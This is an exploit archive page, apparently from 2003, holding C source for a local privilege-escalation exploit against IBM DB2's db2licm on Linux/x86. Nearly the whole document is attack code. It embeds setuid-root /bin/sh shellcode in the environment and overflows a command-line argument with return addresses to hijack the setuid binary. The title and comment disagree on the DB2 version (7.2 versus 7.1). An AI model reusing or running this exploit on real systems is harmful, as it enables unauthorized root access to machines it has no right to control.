exploits , vulnerabilities , articles , IBM DB2 Universal Database 7.2 Linux/x86 db2licm Local Exploit

/* 
	Local Exploit for db2licm 
	IBM db2 v 7.1 Linux/x86 

	vulnerability researched by 
	Juan Manuel Pascual Escriba
	pask at uninet.edu


 */



char sc[]=
"\x31\xc0" /* begin setuid (0) */
"\x31\xdb"
"\xb0\x17"
"\xcd\x80"

"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";


#define STACK_TOP_X86 0xC0000000
#define ALG_MASK 0xfffffff4
#define ADDR 1000
#define DB2LICM "/home/db2inst1/sqllib/adm/db2licm"

#define DFL_ALG 4 

int main(int arc, char **arv){
 char *argv[3];
 char *envp[2];
 unsigned long sc_address, ba=0;
 unsigned char alg = DFL_ALG;
 unsigned long *p;
 unsigned char *q;
 unsigned int i;



 sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - 1;
 printf("shellcode address = 0x%X\n",sc_address);


 if( (sc_address & ALG_MASK) != sc_address ) {
 ba = sc_address - (sc_address & ALG_MASK);
 printf("adding %d trailing bytes to backward align Shellcode to
0x%X\n", ba, 
sc_address & ALG_MASK);
 sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - ba - 1;
 printf("new shellcode address = 0x%X\n",sc_address);
 }

 envp[0] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);
 q = envp[0];
 strcpy(q,"pete=");
 q += strlen("pete=");
 memcpy(q,sc,sizeof(sc));
 q += sizeof(sc)-1;
 memset(q,'A',ba);
 q += ba;
 *q = 0;
 envp[1] = 0;

 /* build overflowing arvg[2] */


 printf("using alignment = %d in overflow buffer\n",alg);

 argv[0] = DB2LICM;
	argv[1] = "-a";
 argv[2] = (char*)malloc(ADDR*sizeof(unsigned long)+alg+1);
 memset(argv[2],'A',alg);
 p=(unsigned long*)(argv[2]+alg);
 for(i=0;i<ADDR;i++) {
 *p = sc_address;
 p++;
 };
 *p = 0;
 argv[3] = 0; 

 printf("executing %s ...\n\n",argv[0]);
 execve(argv[0],argv,envp); 


}
securitydot.net - 2003-09-27